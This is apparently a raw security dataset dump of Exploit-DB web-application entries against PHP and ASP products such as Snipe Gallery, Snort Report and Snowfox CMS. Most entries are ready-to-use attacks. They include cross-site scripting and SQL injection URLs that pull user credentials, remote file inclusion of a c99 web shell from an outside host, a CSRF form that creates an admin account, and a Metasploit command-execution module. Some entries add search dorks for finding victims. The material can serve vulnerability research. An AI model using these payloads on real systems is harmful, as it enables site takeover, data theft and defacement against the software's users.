deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34079
Description: Sniggabo CMS 2.21 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-06
Author: Sora

Exploit:
source: https://www.securityfocus.com/bid/40534/info

Sniggabo CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Sniggabo CMS 2.21 is vulnerable; other versions may be affected. 

http://www.example.com/search.php?q=%3Ch1%3EHacked%20by%20Sora%20-%20vhr95zw%20[at]%20hotmail%20[dot]%20com%3C/h1%3E%3Chr%3Eh4Ã?3d%20-%20http://greyhathackers.wordpress.com/%3Cbr%3E&site=www.google.ca
Exploit-DB #34016
Description: Snipe Gallery 3.1 - 'gallery.php?cfg_admin_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-20
Author: Sn!pEr.S!Te Hacker

Exploit:
source: https://www.securityfocus.com/bid/40279/info

Snipe Gallery is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

The issues affect Snipe Gallery versions 3.1.5 and prior. 

http://www.example.com/gallery.php?cfg_admin_path=[shell.txt ]
Exploit-DB #34017
Description: Snipe Gallery 3.1 - 'image.php?cfg_admin_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-20
Author: Sn!pEr.S!Te Hacker

Exploit:
source: https://www.securityfocus.com/bid/40279/info
 
Snipe Gallery is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
The issues affect Snipe Gallery versions 3.1.5 and prior. 

http://www.example.com/image.php?cfg_admin_path=[shell.txt ]
Exploit-DB #26800
Description: Snipe Gallery 3.1.4 - 'image.php?image_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15844/info
 
Snipe Gallery is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, and exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.
 
Snipe Gallery versions 3.1.4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/image.php?page=1&gallery_id=1&image_id=[SQL]
Exploit-DB #26801
Description: Snipe Gallery 3.1.4 - 'search.php?keyword' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15844/info
  
Snipe Gallery is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, and exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.
  
Snipe Gallery versions 3.1.4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/search.php?keyword=%22%3E%3Cscript%3Ealert%28%
27r0t%27%29%3C%2Fscript%3E&search_cat=&search_type=and
Exploit-DB #26799
Description: Snipe Gallery 3.1.4 - 'view.php?gallery_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15844/info

Snipe Gallery is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, and exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.

Snipe Gallery versions 3.1.4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/view.php?gallery_id=[SQL]
Exploit-DB #14053
Description: snipe Gallery Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-25
Author: dev!l ghost

Exploit:
# Exploit Title:   snipe gallery Script Sql Injection
# Date: 26/06/2010
# Author: dev!l ghost
# Email: aws(at)live(dot)it
# Site : www.h00forall.com
# Script url: http://sourceforge.net/projects/snipegallery/
# Version: 3.1.5
# Tested on: Windows
# CVE : ()
  
:::::::::::::::::::::::::
  
  
=================Exploit=================
DorK:(Snipe Gallery v.3.1.5 by Snipe.Net)

When You search with the dork you will find a lot of sites ,,enter
site and you will find a lot of pictures enter any picture and 
the pot the(')and start the inject

the inject is very easy 



----exploit----   

{{DeMo}}
http://www.example.com/snipe/image.php?page=1&search_type=and?_id=78(SQLI)

---------greatz----------
Greatz to all my frinds and the all muslims 
and Volc4n0 and Golden Ice and mr.ip
and the all
Exploit-DB #11967
Description: Snipe Photo Gallery - Bypass Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Snipe Photo Gallery by Pass Remote Upload Vulnerability           
| # Author   : indoushka                                                                                                              
| # Home     : www.dz-blackhat.com                                                                                                                                                                                                                   
| # Tested on: Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Remote Upload                                                             
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
     1- http://127.0.0.1/snipegallery/admin/index.php (Admin Aera)
     
     2- http://127.0.0.1/snipegallery/admin/index.php?action=add&cat_id=3 (Upload Page)
     
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.m-y.cc * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #47756
Description: Snipe-IT Open Source Asset Management 4.7.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-12-09
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: Snipe-IT Open Source Asset Management 4.7.5 - Persistent Cross-Site Scripting
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://snipeitapp.com/
# Software Link: https://github.com/snipe/snipe-it/releases/tag/v4.7.5
# Version: 4.7.5
# Category: Webapps
# Tested on: Xampp for Windows

# Description:
# Snipe-IT v4.7.5 has persistent cross-site scripting vulnerability via uploading svg file in accessories section.
# A malicious authorized user could potentially upload an SVG with a javascript payload.

#Steps to Reproduce:

Upload crafted SVG file when sent request to create accessory.
Click created accessory and copy uploaded file location.
Browse uploaded SVG file location on browser.
The alert box will be opened.

#(PoC) Post Request:

POST /accessories HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target/accessories/create
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]78895105
Content-Length: 1761
Cookie: XSRF-TOKEN=eyJpdiI6Ikh1TURMRnpyVDJsaVh4WUI5MWtQWnc9PSIsInZhbHVlIjoiUUNOcVErbFpcL0hGbmVveU9wYzZlOWRrVXNBbWxqeDBQZ3drbW4yZ2RXWU1POGlQQnVOeG5EcThxaUUraGdSYmlCMmNIc2VMMERxYnJOWDRBRUhmdEx3PT0iLCJtYWMiOiI2ZTg5YTA2MmUxZWRmM2RjYTNmNzI4YTE0YTQyOTQ4MGEzMDYyYWJiMDk5NGYwOWE4M2Y4ZTc4MWMxYzJhOGY1In0%3D; snipeitv4_session=KvsAzbhBKlUwbijPmLc86vCgO0PhG67J6EIIR0MD; laravel_token=eyJpdiI6InRTXC83Qmx0aDdVTE9EbVJzSnJ4V01nPT0iLCJ2YWx1ZSI6InVITklNQ3h3WldXMFIzY01Ob0Zqb1wvdm1NQTZXN3JuXC9Nc0g5Z0lpWXZCaTdiVHFOUVB4ZkpmQWRrVk1ZWVZFN1dZVnRrM3pRdjRCcWxySDRtd3hEWlIxd0h5QThUMDAyaVJcL0YzTmhFMlVlNzVFSG95S2VVYVBiRzNzNUtIOTkwdlBWUmQ1K3dTZHNNeXZJWVNmaWczb2hyOGFWRmI1a1NiNk84a1wvOW1tWXpleTMzSnRwYlowenBHSzN4dHRzd2lUTXd1b1dLNkluMEt2bWE0M1J4UTBaNGMzTGFQWEVOWnNyQk1aQk1nQ0tBejVjUU9XRnc5Q0l0citqSnJlbzgwTEVWQlN5ekdZa2hYckQ5T1ZKc2E2UT09IiwibWFjIjoiZDZhNWE2NjFmOTMwOWI0N2E2NjE3YTQwNWFlYjg0MmMyYTkwYzE1YTc4ZWI3N2U1ZWFjNGIyMzM4ZWU2NjczMyJ9
Connection: close
Upgrade-Insecure-Requests: 1

.
..
snip
..
.

Content-Disposition: form-data; name="image"; filename="test.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(1);
</script>
</svg>

----------------------------[PII_REDACTED][PII_REDACTED]78895105--
Exploit-DB #8017
Description: SnippetMaster Webpage Editor 2.2.2 - Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-02-09
Author: RoMaNcYxHaCkEr

Exploit:
# SnippetMaster Webpage Editor 2,2,2 Multiple Vulnes ( Remote File Include , Remote XSS )

# Free Download : http://www.snippetmaster.com/download/manual-install.php

# Download Dezender Script :  http://www.mediafire.com/?jv3gz1zwjxm

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote File Include :

http://www.sec-code.com/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

# Exploit [2]:

- Remote XSS :

http://www.sec-code.com/snippetmaster/index.php

By POST method In Option language Inject By This Code :

<script>alert[PII_REDACTED]34)</script>

# Solutions :

Contact With Me I Will Declear All This Fucking Functions

# rXh

# bEST wISHES

# milw0rm.com [2009-02-09]
Exploit-DB #33290
Description: Snitz Forums 2000 3.4.7 - 'pop_send_to_friend.asp?url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-15
Author: Andrea Fabrizi

Exploit:
source: https://www.securityfocus.com/bid/36710/info

Snitz Forums 2000 is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Snitz Forums 2000 3.4.07 is vulnerable; other versions may also be affected. 

http://www.example.com/forum/pop_send_to_friend.asp?url=&lt;/textarea&gt;<img
src="http://www.google.it/intl/it_it/images/logo.gif" onLoad
="alert(document.cookie)">
Exploit-DB #33291
Description: Snitz Forums 2000 3.4.7 - Sound Tag Onload Attribute Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-15
Author: Andrea Fabrizi

Exploit:
source: https://www.securityfocus.com/bid/36710/info
 
Snitz Forums 2000 is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
 
Snitz Forums 2000 3.4.07 is vulnerable; other versions may also be affected. 

[sound]http://www.example.com"
onLoad="alert(document.cookie)[/sound]
Exploit-DB #14523
Description: SnoGrafx - 'cat.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-02
Author: CoBRa_21

Exploit:
########################################################################################

SnoGrafx (cat.php?cat) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21
Author Web Page :http://ipbul.org
Dork : "powered by SnoGrafx"
Download Page : http://snografx.com/

########################################################################################
 
Sql Injection:
http://localhost/[path]/cat.php?cat=2' (Sql)

########################################################################################
Thanks cyber-warrior.org  &  e-banka.org
########################################################################################
Exploit-DB #18434
Description: Snort Report 1.3.2 - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-31
Author: a.kadir altan

Exploit:
# Exploit Title: Snort Report <= 1.3.2 SQL Injection Vulnerability
# Date: 29/01/2012
# Author: a.kadir altan (testpenter_AT_gmail.com)
# Software Link: http://www.symmetrixtech.com/ids/snortreport-1.3.2.tar.gz
# Version: <= 1.3.2
# Platform: PHP
##########################
Vulnerable parameter: 
ipAddress

Vulnerable URL: 
http://server/ipdetail.php?type=dst&FQDN=&ipAddress=773116111<SQLi Here>&beginTime=0&endTime=[PII_REDACTED]

PoC:
http://server/ipdetail.php?type=dst&FQDN=&ipAddress=773116111%20AND%20%28SELECT%205849%20FROM%28SELECT%20COUNT%28*%29%2CCONCAT%280x3a79786a3a%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a7578713a%2CFLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29&beginTime=0&endTime=[PII_REDACTED]
##########################
# Patched in v1.3.3
Exploit-DB #17947
Description: Snortreport - '/nmap.php' / 'nbtscan.php' Remote Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2011-10-09
Author: Metasploit

Exploit:
##
# $Id: snortreport_exec.rb 13843 2011-10-09 06:12:54Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Snortreport nmap.php and nbtscan.php Remote Command Execution',
			'Description'    => %q{
				This module exploits an arbitrary command execution vulnerability in
				nmap.php and nbtscan.php scripts.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Paul Rascagneres'  #itrust consulting during hack.lu 2011
				],
			'Version'        => '$Revision: 13843 $',
			'Payload'        =>
			{
				'Compat'     =>
				{
					'PayloadType'  => 'cmd',
					'RequiredCmd'  => 'generic perl ruby bash telnet',
				}
			},
			'Platform'       => ['unix', 'linux'],
			'Arch'           => ARCH_CMD,
			'Targets'        => [['Automatic',{}]],
			'DisclosureDate' => 'Sep 19 2011',
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),
			],self.class)
	end

	def exploit
		base64_payload = ""
		base64_payload_temp=Base64.encode64(payload.encoded).chomp
		base64_payload_temp.each_line do |line|
			base64_payload << line.chomp
		end

		start = "127.0.0.1 && echo XXXXX && eval $(echo "
		last  = " | base64 -d) && echo ZZZZZ"
		custom_payload = start << base64_payload << last

		res = send_request_cgi({
			'uri'       => datastore['URI'],
			'vars_get'  =>
			{
				'target' => custom_payload
			}
		},10)

		if (res)
			to_print=false
			already_print=false
			part=res.body.gsub("<BR>","")
			part.each_line do |line|
				if line =~ /ZZZZZ/
					to_print=false
				end
				if to_print == true
					print(line)
				end
				if line =~ /XXXXX/
					already_print=true
					to_print=true
				end
			end

			if already_print == false
				print_error("This server may not be vulnerable")
			end
		else
			print_error("No response from the server")
		end
	end
end
Exploit-DB #13937
Description: SnowCade 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-19
Author: ahwak2000

Exploit:
/*
[-] SnowCade v3 SQL Injection Vulnerability [-]


---Date : 2010-06-19
---Author : ahwak2000
---Email : z.u5[at]hotmail.com
[-] Script Info [-]
---Home : http://www.arcadecreate.com/

[-] Vulnerability [-]


http://site.com/[path]/index.php?action=browse&cat=[SQL INj]



http://site.com/[path]/index.php?action=playgame&gameid=[SQL INj]



http://site.com/[path]/index.php?action=browse&cat=[SQL INj]



[-] DEM0[-]
http://server/snowcade/index.php?action=browse&cat=31%20UNION%20SELECT%201,CONCAT_WS%28CHAR%2832,58,32%29,username,password%29,3,4,5,6+from+users%20limit%201,1--

[-] Greetz to [-]

To All Friends in V4-team Forums And pc.pirate
*/
Exploit-DB #34353
Description: SnowFlake CMS 0.9.5 Beta - 'uid' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-19
Author: Dinesh Arora

Exploit:
source: https://www.securityfocus.com/bid/41791/info

SnowFlake CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SnowFlake CMS 1.0 beta5.2 is vulnerable. 


http://www.example.com/page.php?cid=galleries&uid=1+and+1=2+union+select+1,concat%28version%28%29,0x3a,database%28%29,
Exploit-DB #35301
Description: Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2014-11-19
Author: LiquidWorm

Exploit:
<!--

Snowfox CMS v1.0 CSRF Add Admin Exploit


Vendor: Globiz Solutions
Product web page: http://www.snowfoxcms.org
Affected version: 1.0

Summary: Snowfox is an open source Content Management System (CMS)
that allows your website users to create and share content based
on permission configurations.

Desc: Snowfox CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5205
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5205.php



12.11.2014

-->


<html>
  <body>
    <form action="http://10.0.18.3/snowfox/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="lab@zeroscience.mk" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="USERNAME" />
      <input type="hidden" name="newPassword" value="PASSWORD" />
      <input type="hidden" name="confirmPassword" value="PASSWORD" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
Exploit-DB #44037
Description: SOA School Management - 'access_login' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-14
Author: L0RD

Exploit:
# Exploit Title: SOA - School Management Software with Integrated
Parents/Students Portal & Mobile App - 'access_login' SQL Injection
# Dork: N/A
# Date: 2018-02-14
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage:
https://codecanyon.net/item/soa-school-management-software-with-integrated-parents-students-portal/20435367?s_rank=495
# Version: All version
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands.
# # # # #
# Proof of Concept :

SQLI :

http://localhost/PATH/administrator/index.php

# Parameter : access_login (POST)
#    Type: Error based
#    Title:  MySQL >= 5.6.35 AND Error based - extractvalue,updatexml
(XPATH query)
#    Payload 1: 1') and extractvalue(1,concat(0x3a,user(),0x3a,version()))#
#    Payload 2: 1') and updatexml(1, concat(0x3a, version(),0x3a,user()),1)#
#######################################
# Discrption : The 'username' field is vulnerable in this script
('access_login' parameter).First inject payload into this parameter.
# then put anything in password and click login. You will have XPATH syntax
error in the next page that contains user and db_name .
# You can find all tables and any information from database by using XPATH
query .You can use extractvalue() or updatexml() for generating error .

Username : 1') and extractvalue(1,concat(0x3a,user(),0x3a,version()))#
[CREDENTIAL_REDACTED]
Exploit-DB #41286
Description: SOA School Management - 'view' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Complete School Management Software with Web Portal - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://www.ynetinteractive.com/
# Software Buy: http://www.ynetinteractive.com/soa/
# Demo: http://www.ynetinteractive.com/soa/demo.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as student user
# Other user groups have vulnerabilities.
# http://localhost/[PATH]/Document.php?view=[SQL]
# Etc...
# # # # #